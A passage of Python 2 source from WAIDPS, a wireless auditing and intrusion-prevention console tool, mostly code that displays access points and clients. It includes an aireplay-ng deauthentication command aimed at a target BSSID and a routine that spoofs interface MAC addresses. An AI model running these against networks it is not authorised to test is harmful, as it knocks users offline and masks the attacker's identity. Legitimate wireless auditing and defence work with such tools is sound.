    cmd = [ "aireplay-ng","-0", str(DeauthCt),"-a", str(BSSID), str(IFace)]
    ps = Popen(cmd, stdout=PIPE, stderr=open(os.devnull))
    ps.wait()
    print fcolor.BGreen + " Done !!"
                            

def ListClientFound():
    if len(__builtin__.CUR_CLIENT)>0:
        cl=0
        printc ("i",fcolor.BBlue + "List of detected client MAC.","")
        while cl<len(__builtin__.CUR_CLIENT):
            OUI=Check_OUI(__builtin__.CUR_CLIENT[cl],"")
            YourMAC=""
            if __builtin__.CUR_CLIENT[cl]==__builtin__.SELECTED_ATK_MAC:
                YourMAC=fcolor.SPink + " [Your Interface - ATK]"
            if __builtin__.CUR_CLIENT[cl]==__builtin__.SELECTED_MON_MAC:
                YourMAC=fcolor.SPink + " [Your Interface - MON]"
            if __builtin__.CUR_CLIENT[cl]==__builtin__.SELECTED_MANIFACE_MAC:
                YourMAC=fcolor.SPink + " [Your Interface - MAN]"
            if __builtin__.CUR_CLIENT[cl]==__builtin__.SELECTED_IFACE_MAC:
                YourMAC=fcolor.SPink + " [Your Interface - IFACE]"
            printc (cl+1,fcolor.SWhite + "MAC ID : " + fcolor.BGreen + str(__builtin__.CUR_CLIENT[cl]) + "  " + fcolor.SCyan + str(OUI) + str(YourMAC),"")
            cl=cl+1

def ListClientFoundDB():
    DB_CLIENT=[]
    if IsFileDirExist(DBFile3)=="F":
	with open(DBFile3,"r") as f:
            next(f)
	    for line in f:
                line=line.replace("\n","")
                tmpList=str(line).split(";")
                if len(tmpList)>=7:
                    if tmpList[1]==__builtin__.ATTACK_AP_BSSID:
                        CLIENTMAC=str(tmpList[0])
                        DB_CLIENT=AddToList(CLIENTMAC,DB_CLIENT)
    DB_CLIENT.sort()
    if len(DB_CLIENT)>0:
        cl=0
        printc ("i",fcolor.BBlue + "List of client MAC in Database.","")
        while cl<len(DB_CLIENT):
            OUI=Check_OUI(DB_CLIENT[cl],"")
            YourMAC=""
            if DB_CLIENT[cl]==__builtin__.SELECTED_ATK_MAC:
                YourMAC=fcolor.SPink + " [Your Interface]"
            printc (cl+1,fcolor.SWhite + "MAC ID : " + fcolor.BGreen + str(DB_CLIENT[cl]) + "  " + fcolor.SCyan + str(OUI) + str(YourMAC),"")
            cl=cl+1
        print ""

def ChangeMACAddr(IFace,IFace2,IFace3):
    Result=""
    CurMAC=GetMyMAC(IFace)
    print ""
    printc ("i",fcolor.SGreen + "The current MAC for " + fcolor.BYellow + str(IFace) + fcolor.SGreen + " is [ " + fcolor.BYellow + str(CurMAC) + fcolor.SGreen + " ]","")
    ASSIGNED_MAC=str(AskQuestion("Enter the MAC to Spoof xx:xx:xx:xx:xx:xx :",fcolor.SWhite + "Default - Nil","U","NIL","")).lstrip().rstrip()
    if ASSIGNED_MAC!="" and ASSIGNED_MAC!="NIL":
        if len(ASSIGNED_MAC)!=17 or IsHex(ASSIGNED_MAC)==False:
            printc ("!!!","Invalid MAC Address Entered !","")
            print ""
            ChangeMACAddr(IFace,IFace2,IFace3)
            return
        else:
            printc (".",fcolor.SGreen + "Spoofing current MAC [ " + fcolor.BYellow + str(CurMAC) + fcolor.SGreen +  " ] to [ " + fcolor.BYellow + str(ASSIGNED_MAC) + fcolor.SGreen + " ]..","")
            ps=subprocess.Popen("ifconfig " + str(IFace) + " down && ip link set dev " + str(IFace) + " address " + str(ASSIGNED_MAC) + " && ifconfig " + str(IFace) + " up > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
            ps.wait();ps.stdout.close()
            NewMAC=GetMyMAC(IFace)
            if str(NewMAC)!=str(ASSIGNED_MAC):
                printc ("!!!","MAC Address Spoofing Failed !","")
            else:
                printc (".",fcolor.SGreen + "New MAC [ " + fcolor.BRed + str(NewMAC) + fcolor.SGreen +  " ].","")
                __builtin__.SELECTED_ATK_MAC=str(NewMAC)
                if IFace2!="":
                    printc (".",fcolor.SGreen + "Spoofing current MAC [ " + fcolor.BYellow + str(CurMAC) + fcolor.SGreen +  " ] of interface [ " + fcolor.BRed + str(IFace2) + fcolor.SGreen + " ] to [ " + fcolor.BYellow + str(ASSIGNED_MAC) + fcolor.SGreen + " ]..","")
                    ps=subprocess.Popen("ifconfig " + str(IFace2) + " down && ip link set dev " + str(IFace2) + " address " + str(ASSIGNED_MAC) + " && ifconfig " + str(IFace2) + " up > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
                    ps.wait();ps.stdout.close()
                    NewMAC=GetMyMAC(IFace2)
                    if str(NewMAC)!=str(ASSIGNED_MAC):
                        printc ("!!!","MAC Address Spoofing Failed !","")
                    else:
                        printc (".",fcolor.SGreen + "New MAC [ " + fcolor.BRed + str(NewMAC) + fcolor.SGreen +  " ].","")
                if IFace3!="":
                    printc (".",fcolor.SGreen + "Spoofing current MAC [ " + fcolor.BYellow + str(CurMAC) + fcolor.SGreen +  " ] of interface [ " + fcolor.BRed + str(IFace3) + fcolor.SGreen + " ] to [ " + fcolor.BYellow + str(ASSIGNED_MAC) + fcolor.SGreen + " ]..","")
                    ps=subprocess.Popen("ifconfig " + str(IFace3) + " down && ip link set dev " + str(IFace3) + " address " + str(ASSIGNED_MAC) + " && ifconfig " + str(IFace3) + " up > /dev/null 2>&1", shell=True, stdout=subprocess.PIPE,stderr=open(os.devnull, 'w'))
                    ps.wait();ps.stdout.close()
                    NewMAC=GetMyMAC(IFace3)
                    if str(NewMAC)!=str(ASSIGNED_MAC):
                        printc ("!!!","MAC Address Spoofing Failed !","")
                    else:
                        printc (".",fcolor.SGreen + "New MAC [ " + fcolor.BRed + str(NewMAC) + fcolor.SGreen +  " ].","")
                Search="WAIDPS - Auditing"
                KillProc(Search)
                Search="WAIDPS - Associating"
                KillProc(Search)
                Result=str(NewMAC)
    print ""
    return Result

def send_interrupt(process): 
    try:
	os.kill(process.pid, SIGINT) 
    except OSError: pass           # process cannot be killed
    except TypeError: pass         # pid is incorrect type
    except UnboundLocalError: pass # 'process' is not defined
    except AttributeError: pass    # Trying to kill "None"

def GetOptionCommands(HeaderLine):
    RefreshAutoComplete("")
    if HeaderLine!="":
        LineBreak()
    printc ("+", fcolor.BBlue + "Command Selection Menu ","")
    __builtin__.CURRENT_LOC="MENU"
    Option1 = SelBColor + "B" + StdColor + " - A" + SelColor + "b" + StdColor + "out Application\t\t"
    Option2 = SelBColor + "C" + StdColor + " - Application " + SelColor + "C" + StdColor + "onfiguation\t\t    "
    Option3 = SelBColor + "D" + StdColor + " - Output " + SelColor + "D" + StdColor + "isplay\t\t\t\t"
    Option4 = SelBColor + "F" + StdColor + " - " + SelColor + "F" + StdColor + "ilter Network Display\t\t"
    OptionA=Option1 + Option2 + Option3 + Option4
    Option1 = SelBColor + "H" + StdColor + " - " + SelColor + "H" + StdColor + "istory Logs / Cracked DB\t"
    Option2 = SelBColor + "L" + StdColor + " - " + SelColor + "L" + StdColor + "ookup MAC/Name Detail\t\t    "
    Option3 = SelBColor + "M" + StdColor + " - " + SelColor + "M" + StdColor + "onitor MAC Addr / Names\t\t"
    Option4 = SelBColor + "O" + StdColor + " - " + SelColor + "O" + StdColor + "peration Options\t\t\t"
    OptionB=Option1 + Option2 + Option3 + Option4
    Option1 = SelBColor + "A" + StdColor + " - " + SelColor + "A" + StdColor + "uditing Network\t\t"
    Option2 = SelBColor + "I" + StdColor + " - " + SelColor + "I" + StdColor + "nteractive Mode (Packet Analysis)\t    "
    Option3 = SelBColor + "P" + StdColor + " - Intrusion " + SelColor + "P" + StdColor + "revention\t\t\t"
    Option4 = SelBColor + "X" + StdColor + " - E" + SelColor + "x" + StdColor + "it Application\t"
    OptionC=Option1 + Option2 + Option3 + Option4
    printc (" ", fcolor.BYellow + OptionA,"")
    printc (" ", fcolor.BYellow + OptionB,"")
    printc (" ", fcolor.BYellow + OptionC,"")
    print ""
    usr_resp=AskQuestion("Enter your option : ",fcolor.SWhite + "<default = return>","U","RETURN","1")
    LineBreak()
    if usr_resp=="RETURN":
        return;
    if usr_resp=="RESET":
        ResetInterface("1")
        LineBreak()
        return;
    if usr_resp=="MYMAC":
        DisplayMyMAC()
        LineBreak()
        return;
    if usr_resp=="A":
        OptAuditing("")
        return;
    if usr_resp=="X":
        usr_resp=AskQuestion(fcolor.SRed + "Are you sure you want to exit" + fcolor.BGreen,"y/N","U","N","1")
        LineBreak()
        if usr_resp=="Y":
            exit_gracefully(0)
        return;
    if usr_resp=="B":
        AboutApplication()
        DisplayPanel()
        return
    if usr_resp=="I":
        PacketAnalysis()
        return
    if usr_resp=="P":
        ShowIntrusionPrevention("1")
        LineBreak()
        return
    if usr_resp=="O":
        RR=OptControls("")
        LineBreak()
        if RR=="TIME0":
            return RR
    if usr_resp=="D":
        OptOutputDisplay("")
        SaveConfig("")
        GetOptionCommands("")
        return;
    if usr_resp=="F":
        OptFilterDisplay("");LineBreak();return;
    if usr_resp=="C":
        OptConfiguration("")
        SaveConfig("");LineBreak();return;
    if usr_resp=="M":
        OptMonitorMAC("");LineBreak();return;
    if usr_resp=="L":
        OptInfoDisplay("","1");LineBreak();return;
    if usr_resp=="H":
        OptDisplayLogs();LineBreak();return;
    return;

def AUDITOR_WARNING():
    CenterText(fcolor.BWhite + fcolor.BGRed, "WARNING - NOT FOR ILLEGAL USE")
    print fcolor.SRed + "Disclaimer :- Usage of WAIDPS for attacking any network not belonging to you or without any prior mutual conssent of auditing the network is illegal. It is the user's responsibility to obey all applicable laws. Developers assume no liability and are not responsible for any misuse of WAIDPS.\n"

def WaitingCommands(Timer=0, ShowDisplay=1):
    usr_resp=""
    if Timer==0:
        if ShowDisplay==1:
            printl(fcolor.SGreen + "Press " + fcolor.BGreen + "Ctrl+C" + fcolor.SGreen + " to break..","0","")
        stdinFileDesc = sys.stdin.fileno()
        oldStdinTtyAttr = termios.tcgetattr(stdinFileDesc)
        tty.setraw(stdinFileDesc)
        usr_resp=sys.stdin.read(1)
        termios.tcsetattr(stdinFileDesc, termios.TCSADRAIN, oldStdinTtyAttr)
        if usr_resp=="\x03":
            printc (" ", fcolor.BRed + "\nInterrupted !!","")
            Result=AskQuestion("Yes or No, Null as 'N' (Lower casing)","y/N","U","N","1")
            if Result=="Y":
                return "Break"
            return ""
        if usr_resp=="\x0d":
            printc (" ", fcolor.BRed + "\nInterrupted - Enter Command !!","")
            return "";
 
        if usr_resp=="a":
            printc(" ","A pressed","")
        else:
            return ""
    else:
        try:
            t=int(Timer)
            xt=0
            bcolor=fcolor.SWhite
            pcolor=fcolor.BGreen
            tcolor=fcolor.SGreen
            PrintText2=""
            if __builtin__.LOAD_IWLIST=="Yes":
                RunIWList()
            PrintText="Refreshing in " + str(Timer) + " seconds... Press " + fcolor.BYellow + "[Enter]" + fcolor.SGreen + " to input command... "
            while t!=0:
                FS=""
                if IsFileDirExist(__builtin__.PacketDumpFile)=="F":
                    GetFileDetail(__builtin__.PacketDumpFile)
                    FS=fcolor.SWhite + " Pkt Size : " + str(__builtin__.FileSize) 
                
                if len(str(t))==1:
                    Spacing=__builtin__.tabspace
                else:
                    Spacing="  "
                s=bcolor + "[" + pcolor + str(t) + bcolor + "]" + Spacing + tcolor + PrintText + str(FS) + "\r"
                s=s.replace("%s",pcolor+str(PrintText2)+tcolor)
                sl=len(RemoveColor(s))
                print s,
                sys.stdout.flush()
                time.sleep(1)
                s=""
                ss="\r"
                print "" + s.ljust(sl) + ss,
                sys.stdout.flush()
                t=t-1
                while sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
                    usr_resp = sys.stdin.readline()
                    if usr_resp:
                        RR=GetOptionCommands("1")
                        if RR=="TIME0" or __builtin__.RTNCACHE=="TIME0":
                            __builtin__.RTNCACHE=""
                            t=0
                c1=bcolor + "[" + pcolor + "-" + bcolor + "]" + Spacing + tcolor + PrintText + "\r"
                c1=c1.replace("%s",pcolor+str(PrintText2)+tcolor)
                print c1,
                sys.stdout.flush()
        except KeyboardInterrupt:
            printc (" ", fcolor.BRed + "\nInterrupted !!","")
            Result=AskQuestion(fcolor.SRed + "Are you sure you want to exit"+ fcolor.BGreen,"y/N","U","N","1")
            if Result=="Y":
                exit_gracefully(0)
            else:
                return "";

def WaitProcessing(Timer=0, ShowDisplay=1):
    usr_resp=""
    t=int(Timer)
    bcolor=fcolor.SWhite
    pcolor=fcolor.BGreen
    tcolor=fcolor.SGreen
    PrintText2=""
    PrintText="Refreshing in " + str(Timer) + " seconds... Press " + fcolor.BYellow + "[Enter]" + fcolor.SGreen + " for options... "
    c1=PrintText
    while t!=0:
        FS=""
        s=bcolor + "[" + pcolor + str(t) + bcolor + "]" + __builtin__.tabspace + tcolor + PrintText + str(FS) + "\r"
        s=s.replace("%s",pcolor+str(PrintText2)+tcolor)
        sl=len(s)
        print s,
        sys.stdout.flush()
        time.sleep(1)
        s=""
        ss="\r"
        print "" + s.ljust(sl+2) + ss,
        sys.stdout.flush()
        t=t-1
        while sys.stdin in select.select([sys.stdin], [], [], 0)[0]:
            usr_resp = sys.stdin.readline()
            if usr_resp:
                s="";ss="\r";print "" + s.ljust(sl+2) + ss,
                sys.stdout.flush() 
                return "1";
        c1=bcolor + "[" + pcolor + "-" + bcolor + "]" + __builtin__.tabspace + tcolor + PrintText + "\r"
        c1=c1.replace("%s",pcolor+str(PrintText2)+tcolor)
        print c1,
        sys.stdout.flush()
    sl=len(c1)
    s=""
    ss="\r"
    print "" + s.ljust(sl+2) + ss,
    sys.stdout.flush()
    return "";

def DisplayClientDetail(DisplayTitle,DataList):
    tmpList = []
    CenterText(fcolor.BBlue, DisplayTitle + "     ")
    DrawLine("~",fcolor.CReset + fcolor.Black,"",""); print ""
    tmpList=DataList
    x=0
    RecordNum=0
    StnColor=fcolor.SGreen
    while x<len(DataList):
        RecordNum += 1
        DataValue0="";DataValue1="";DataValue2="";DataValue3="";DataValue4="";DataValue5="";DataValue6="";DataValue7="";DataValue8=""
        n=int(DataList[x])
        StnMAC=ListInfo_STATION[n]
        DataValue0 = StnColor + "Client Number   : " + fcolor.SRed + str(RecordNum)  + "\n"
        DataValue1= StnColor + "STATION MAC ID  : " + fcolor.SYellow + str(StnMAC).ljust(40) + StnColor + "Vendor      : " + fcolor.SCyan + str(__builtin__.ListInfo_COUI[n]) + "\n"    
        SignalRange=str(ListInfo_CBestQuality[n]) + " dBm" + StnColor + fcolor.CBold + " ["  + str(ListInfo_CQualityRange[n])  + StnColor + fcolor.CBold + "]" 
        DataValue2 = StnColor + "Power/Range     : " + StdColor + str(SignalRange) + "\t\t\t  " + StnColor + "Packets     : " + StdColor + str(ListInfo_CPackets[n]).ljust(41) + StnColor + "Standard    : " + StdColor + str(ListInfo_STNStandard[n])  + "\n"
        DataValue3 = StnColor + "First Time Seen : " + StdColor + str(ListInfo_CFirstSeen[n]).ljust(40) + StnColor + "Last Seen   : " + StdColor + str(ListInfo_CLastSeen[n]).ljust(41) + StnColor + "Duration    : " + StdColor + str(ListInfo_CElapse[n]) +"\n"
        if str(ListInfo_PROBE[n])!="":
            Probes=ListInfo_PROBE[n]
            Probes=str(Probes).replace(" / ",StnColor + " | " + StdColor)
            DataValue4 = StnColor + "Probes          : " + fcolor.SBlue + str(Probes) +"\n"
        AssocHistory=str(ListInfo_CBSSIDPrevList[n])
        AssocHistory=str(AssocHistory).replace("| Not Associated | ","").replace("Not Associated | ","").replace("  "," ").replace("|",StnColor + "|" + StdColor)
        DataValue5 = StnColor + "ESSID Connected : " + StdColor + str(ListInfo_CESSID[n]).ljust(40) + StnColor + "Last Active : " + StdColor + str(ListInfo_CTimeGapFull[n]) + StnColor + " - [ " + StdColor + str(ListInfo_CTimeGap[n]) + StnColor + " min ago ]" + "\n"
        DataValue6 = StnColor + "Connect History : " + StdColor + str(AssocHistory) +"\n"
        DataValue7=""
        DataValue= DataValue0 + DataValue1 + DataValue2 + DataValue3 + DataValue4 + DataValue5 + DataValue6 + DataValue7  
        print DataValue
        DisplayMACDetailFromFiles(StnMAC)
        x += 1

def RemoveUnwantMAC(MACAddr):
    sMAC=[]
    sMAC=MACAddr.split("/")
    ax=0
    lsMAC=len(sMAC)
    while ax<lsMAC:
        MAC_ADR=sMAC[ax]
        MAC_ADR=MAC_ADR.lstrip().rstrip()
        sMAC[ax]=MAC_ADR
        if MAC_ADR[:17]=="XX:XX:XX:XX:XX:XX":
            sMAC[ax]=""
        if MAC_ADR[:12]=="FF:FF:FF:FF:":
            sMAC[ax]=""
        if MAC_ADR[:6]=="33:33:":
            sMAC[ax]=""
        if MAC_ADR[:9]=="01:80:C2:":
            sMAC[ax]=""
        if MAC_ADR[:9]=="01:00:5E:":
            sMAC[ax]=""
        if MAC_ADR[:3]=="FF:":
            sMAC[ax]=""
        if MAC_ADR==str(__builtin__.SELECTED_MON_MAC):
            sMAC[ax]=""
        if MAC_ADR==str(__builtin__.SELECTED_ATK_MAC):
            sMAC[ax]=""
        if MAC_ADR==str(__builtin__.SELECTED_MANIFACE_MAC):
            sMAC[ax]=""
        if MAC_ADR==str(__builtin__.SELECTED_IFACE_MAC):
            sMAC[ax]=""
        ax=ax+1
    ax=0
    NewMAC=""
    while ax<len(sMAC):
        if sMAC[ax]!="":
            NewMAC=NewMAC + str(sMAC[ax]) + " / "
        ax=ax+1
    if NewMAC[-3:]==" / ":
        NewMAC=NewMAC[:-3]
    return NewMAC

def DisplayBSSIDDetail():
    CenterText(fcolor.BWhite + fcolor.BGBlue, "MATCHED ACCESS POINT LISTING [ " + str(len(__builtin__.ShowBSSIDList)) + " ]")
    RecordNum=0
    i=0
    while i < len(__builtin__.ShowBSSIDList):
        RecordNum += 1
        n=__builtin__.ShowBSSIDList[i]
        ESSID=str(ListInfo_ESSID[n])
        BSSID=str(ListInfo_BSSID[n])
        DBSSID=str(BSSID).ljust(40)
        DESSID=str(ESSID).ljust(95)
        if ESSID=="":
            DESSID=fcolor.SBlack + "<<NO NAME>>" + str(DESSID)[11:]
        DataValue1= lblColor + "AP MAC  [BSSID] : " + fcolor.BYellow + str(DBSSID) + lblColor + "Vendor      : " + VendorColor + str(ListInfo_BSSID_OUI[n]) + "\n"
        QualityRange=str(ListInfo_Quality[n])
        if QualityRange!="-":
            QualityRange=lblColor + " - " + StdColor + str(QualityRange)
        else:
            QualityRange=""
        SignalRange=str(ListInfo_BestQuality[n]) + " dBm" + lblColor + fcolor.CBold + " ["  + str(ListInfo_QualityRange[n])  + lblColor + "]"  + str(QualityRange)
        DataValue2 = lblColor + "AP Name [ESSID] : " + fcolor.BPink + str(DESSID) + lblColor + "Power       : " + StdColor + str(SignalRange) + "\n"                 # + lblColor + "Signal  : " + StdColor + str(ListInfo_BestSignal[n]).ljust(15) + lblColor + "Noise  : " + StdColor + str(ListInfo_BestNoise[n]) + "\n"
        Privacy=str(ListInfo_Privacy[n]) + " / " + str(ListInfo_Cipher[n]) + " / " + str(ListInfo_Auth[n])
        DataValue3 = lblColor + "Encryption Type : " + StdColor + Privacy.ljust(40) + lblColor + "Beacon      : " + StdColor + str(ListInfo_Beacon[n]).ljust(15) + lblColor + "Data     : " + StdColor + str(ListInfo_Data[n]).ljust(15) + lblColor + "Total Data  : " + StdColor + str(ListInfo_Total[n]) + "\n"
        MaxRate=str(ListInfo_MaxRate[n]) + " Mb/s"
        ChannelFreq=str(ListInfo_Channel[n]) + " / " + str(ListInfo_Freq[n]) + " GHz"
        LastBeacon=str(ListInfo_LastBeacon[n])
        if LastBeacon!="-" and LastBeacon!="":
            LastBeacon = LastBeacon + " ago"
        LastBeacon=str(LastBeacon).ljust(41)
        DataValue4 = lblColor + "Channel / Freq. : " + StdColor + str(ChannelFreq).ljust(40) + lblColor + "Max. Rate   : " + StdColor + str(MaxRate).ljust(15) + lblColor + "Cloaked? : " + StdColor + str(ListInfo_Cloaked[n]).ljust(15) + lblColor  + "Mode        : " + StdColor + str(ListInfo_Mode[n]) + "\n"
        GPSLoc=str(ListInfo_GPSBestLat[n]) + " / " + str(ListInfo_GPSBestLon[n])
        BitRate=ListInfo_BitRate[n].replace("|",lblColor + "|" + StdColor)
        DataValue5 = lblColor + "Bit Rates       : " + StdColor + str(BitRate) + "\n"
        DataValue6 = lblColor + "Extended S.Set  : " + StdColor + str(ListInfo_ESS[n]) + "\t\t\t\t\t  " + lblColor + "Standard    : " + StdColor + str(ListInfo_APStandard[n]) + "\n"
        DataValue7 = lblColor + "GPS Lat/Long    : " + StdColor + GPSLoc.ljust(40) + lblColor + "Last Beacon : " + StdColor + str(LastBeacon) + lblColor + "Last Active : " + StdColor + str(ListInfo_SSIDTimeGapFull[n]) + lblColor + " - [ " + StdColor + str(ListInfo_SSIDTimeGap[n]) + lblColor + " min ago ]" + "\n"
        DataValue8 = lblColor + "First Time Seen : " + StdColor + str(ListInfo_FirstSeen[n]).ljust(40) + lblColor + "Last Seen   : " + StdColor + str(ListInfo_LastSeen[n]).ljust(41) + lblColor + "Duration    : " + StdColor + str(ListInfo_SSIDElapse[n]) +"\n"
        Cipher=""
        if __builtin__.ListInfo_PairwiseCipher[n]!="-":
            Cipher=Cipher + __builtin__.ListInfo_PairwiseCipher[n] + " (Pairwise) / "
        if __builtin__.ListInfo_GroupCipher[n]!="-":
            Cipher=Cipher + __builtin__.ListInfo_GroupCipher[n] + " (Group) / "
        if Cipher=="":
            Cipher="-"
        else:
            if Cipher[-3:]==" / ":
                Cipher=Cipher[:-3]
        Cipher=str(str(Cipher).ljust(41)).replace("/",lblColor + "/" + StdColor)
        DataValue9=""
        if str(ListInfo_Privacy[n]).find("WPA")!=-1:
            if str(ListInfo_WPAVer[n])!="-" or str(ListInfo_AuthSuite[n])!="-" or str(ListInfo_PairwiseCipher[n])!="-" or str(ListInfo_GroupCipher[n])!="-":
                DataValue9 = lblColor + "WPA Information : " + StdColor + str(ListInfo_WPAVer[n]).ljust(40) + lblColor + "Cipher      : " + StdColor + str(Cipher) + lblColor + "Auth        : " + StdColor + str(ListInfo_AuthSuite[n]) + "\n"
        if ListInfo_ConnectedClient[n]=="" or ListInfo_ConnectedClient[n]=="0":
            ClientText="No client associated"
        else:
            ClientText=ListInfo_ConnectedClient[n]
        WPSInfo="Not Enabled"
        if ListInfo_WPS[n]!="-":
            WPSLock=""
            if ListInfo_WPSLock[n]!="No":
                WPSLock=lblColor + " / " + StdColor + "Locked"
            WPSInfo=ListInfo_WPS[n] + lblColor + " / Ver : " + StdColor + ListInfo_WPSVer[n] + WPSLock
        DataValue10 = lblColor + "Connected Client: " + StdColor + str(ClientText).ljust(40) + lblColor + "WPS Enabled : " + StdColor + str(WPSInfo) + "\n"
        k=0
        ConnectedClient= []
        PrevConnectedClient= []
        UnassociatedClient= []
        while k < len(__builtin__.ListInfo_STATION):
            if __builtin__.ListInfo_CBSSID[k]==BSSID:
                ConnectedClient.append (str(k))
            if str(__builtin__.ListInfo_CBSSIDPrevList[k]).find(BSSID)!=-1 and str(__builtin__.ListInfo_CBSSID[k])!=BSSID:
                if __builtin__.ListInfo_CBSSID[k]!=BSSID:
                    PrevConnectedClient.append (str(k))
            if ESSID!="" and __builtin__.ListInfo_PROBE[k].find(ESSID)!=-1 and __builtin__.ListInfo_CBSSID[k]!=BSSID:
                UnassociatedClient.append (str(k))
            k += 1
        DataValue11=""
        DataValue12=""
        if len(UnassociatedClient)>0:
            DataValue11 = lblColor + "Unassociated    : " + StdColor + str(len(UnassociatedClient)) + " station which is not associated with Access Point but probing for " + fcolor.BPink + str(ESSID) + "\n"
        if len(PrevConnectedClient)>0:
            DataValue12 = lblColor + "Prev. Connection: " + StdColor + str(len(PrevConnectedClient)) + "\n"
        RecNo=str(RecordNum)
        if str(ListInfo_Enriched[n])!="":
            RecNo=RecNo + " *"
        RecNo=str(str(RecNo).ljust(40)).replace(" *",fcolor.SCyan + " *")
        RecType=""
        if str(__builtin__.ListInfo_STATION).find(BSSID)!=-1:
            RecType=fcolor.BRed + "The MAC Address is detected to be both an Access Point & Station"
        CenterText(fcolor.BBlack + fcolor.BGWhite, "MAC ADDRESS [ " + str(BSSID) + "] DETAILED INFORMATION - RECORD " + str(RecordNum) + "/" + str(len(__builtin__.ShowBSSIDList)))
        print ""
        DataValue0 = lblColor + "Access Point No.: " + fcolor.BRed + str(RecNo) + str(RecType) + "\n"
        DataValue= DataValue0 + DataValue1 + DataValue2 + DataValue3 + DataValue4 + DataValue5 + DataValue6 + DataValue7  + DataValue8 + DataValue9 + DataValue10 + DataValue11 + DataValue11
        print DataValue
        DisplayMACDetailFromFiles(BSSID)
        if len(ConnectedClient)>0:
            DisplayClientDetail("Associated Client",ConnectedClient)
        if len(PrevConnectedClient)>0:
            DisplayClientDetail("Clients Previously Connected To Access Point",PrevConnectedClient)
        if len(UnassociatedClient)>0:
            DisplayClientDetail("Unassociated Client Probing For SSID [" + str(ESSID) + "]",UnassociatedClient)
        i += 1
    return

def DisplayConnectedBSSID(DisplayTitle,DataList):
    CenterText(fcolor.BPink, DisplayTitle + "     ")
    DrawLine("~",fcolor.CReset + fcolor.Black,"",""); print ""
    tmpList=DataList
    x=0
    RecordNum=0
    APColor=fcolor.SGreen
    while x<len(DataList):
        RecordNum += 1
        DataValue0="";DataValue1="";DataValue2="";DataValue3="";DataValue4="";DataValue5="";DataValue6="";DataValue7="";DataValue8=""
        APMAC=DataList[x]
        if len(APMAC)==17:
            APLoc=str(ListInfo_BSSID).find(str(APMAC))
            n=int(APLoc) -2
            n=n/21
            ESSID=str(ListInfo_ESSID[n])
            BSSID=str(ListInfo_BSSID[n])
            DBSSID=str(BSSID).ljust(40)
            DESSID=str(ESSID).ljust(95)
            if ESSID=="":
                DESSID=fcolor.SBlack + "<<NO NAME>>" + str(DESSID)[11:]
            DataValue1= APColor + "AP MAC  [BSSID] : " + fcolor.SYellow + str(DBSSID) + APColor + "Vendor      : " + fcolor.SCyan + str(ListInfo_BSSID_OUI[n]) + "\n"
            QualityRange=str(ListInfo_Quality[n])
            if QualityRange!="-":
                QualityRange=APColor + " - " + StdColor + str(QualityRange)
            else:
                QualityRange=""
            SignalRange=str(ListInfo_BestQuality[n]) + " dBm" + APColor + " ["  + str(ListInfo_QualityRange[n])  + APColor + "]"  + str(QualityRange)
            DataValue2 = APColor + "AP Name [ESSID] : " + fcolor.SPink + str(DESSID) + APColor + "Power       : " + StdColor + str(SignalRange) + "\n"                 # + APColor + "Signal  : " + StdColor + str(ListInfo_BestSignal[n]).ljust(15) + APColor + "Noise  : " + StdColor + str(ListInfo_BestNoise[n]) + "\n"
            Privacy=str(ListInfo_Privacy[n]) + " / " + str(ListInfo_Cipher[n]) + " / " + str(ListInfo_Auth[n])
            DataValue3 = APColor + "Encryption Type : " + StdColor + Privacy.ljust(40) + APColor + "Beacon      : " + StdColor + str(ListInfo_Beacon[n]).ljust(15) + APColor + "Data     : " + StdColor + str(ListInfo_Data[n]).ljust(15) + APColor + "Total Data  : " + StdColor + str(ListInfo_Total[n]) + "\n"
            MaxRate=str(ListInfo_MaxRate[n]) + " Mb/s"
            ChannelFreq=str(ListInfo_Channel[n]) + " / " + str(ListInfo_Freq[n]) + " GHz"
            LastBeacon=str(ListInfo_LastBeacon[n])
            if LastBeacon!="-" and LastBeacon!="":
                LastBeacon = LastBeacon +  " ago"
            LastBeacon=str(LastBeacon).ljust(40)
            DataValue4 = APColor + "Channel / Freq. : " + StdColor + str(ChannelFreq).ljust(40) + APColor + "Max. Rate   : " + StdColor + str(MaxRate).ljust(15) + APColor + "Cloaked? : " + StdColor + str(ListInfo_Cloaked[n]).ljust(15) + APColor  + "Mode        : " + StdColor + str(ListInfo_Mode[n]) + "\n"
            GPSLoc=str(ListInfo_GPSBestLat[n]) + " / " + str(ListInfo_GPSBestLon[n])
            BitRate=ListInfo_BitRate[n].replace("|",APColor + "|" + StdColor)
            DataValue5 = APColor + "Bit Rates       : " + StdColor + str(BitRate) + "\n"
            DataValue6 = APColor + "Extended S.Set  : " + StdColor + str(ListInfo_ESS[n]).ljust(40) + APColor + "Standard    : "  + StdColor + str(ListInfo_APStandard[n]) + "\n"
            DataValue7 = APColor + "GPS Lat/Long    : " + StdColor + GPSLoc.ljust(40) + APColor + "Last Beacon : " + StdColor + str(LastBeacon) + APColor + " Last Active : " + StdColor + str(ListInfo_SSIDTimeGapFull[n]) + APColor + " - [ " + StdColor + str(ListInfo_SSIDTimeGap[n]) + APColor + " min ago ]" + "\n"
            DataValue8 = APColor + "First Time Seen : " + StdColor + str(ListInfo_FirstSeen[n]).ljust(40) + APColor + "Last Seen   : " + StdColor + str(ListInfo_LastSeen[n]).ljust(40) + APColor + " Duration    : " + StdColor + str(ListInfo_SSIDElapse[n]) +"\n"
            Cipher=""
            if __builtin__.ListInfo_PairwiseCipher[n]!="-":
                Cipher=Cipher + __builtin__.ListInfo_PairwiseCipher[n] + " (Pairwise) / "
            if __builtin__.ListInfo_GroupCipher[n]!="-":
                Cipher=Cipher + __builtin__.ListInfo_GroupCipher[n] + " (Group) / "
            if Cipher=="":
                Cipher="-"
            else:
                if Cipher[-3:]==" / ":
                    Cipher=Cipher[:-3]
            Cipher=str(str(Cipher).ljust(41)).replace("/",APColor + "/" + StdColor)
            DataValue9=""
            if str(ListInfo_Privacy[n]).find("WPA")!=-1:
                if str(ListInfo_WPAVer[n])!="-" or str(ListInfo_AuthSuite[n])!="-" or str(ListInfo_PairwiseCipher[n])!="-" or str(ListInfo_GroupCipher[n])!="-":
                    DataValue9 = APColor + "WPA Information : " + StdColor + str(ListInfo_WPAVer[n]).ljust(40) + APColor + "Cipher      : " + StdColor + str(Cipher) + APColor + "Auth        : " + StdColor + str(ListInfo_AuthSuite[n]) + "\n"
            if ListInfo_ConnectedClient[n]=="" or ListInfo_ConnectedClient[n]=="0":
                ClientText="No client associated"
            else:
                ClientText=ListInfo_ConnectedClient[n]
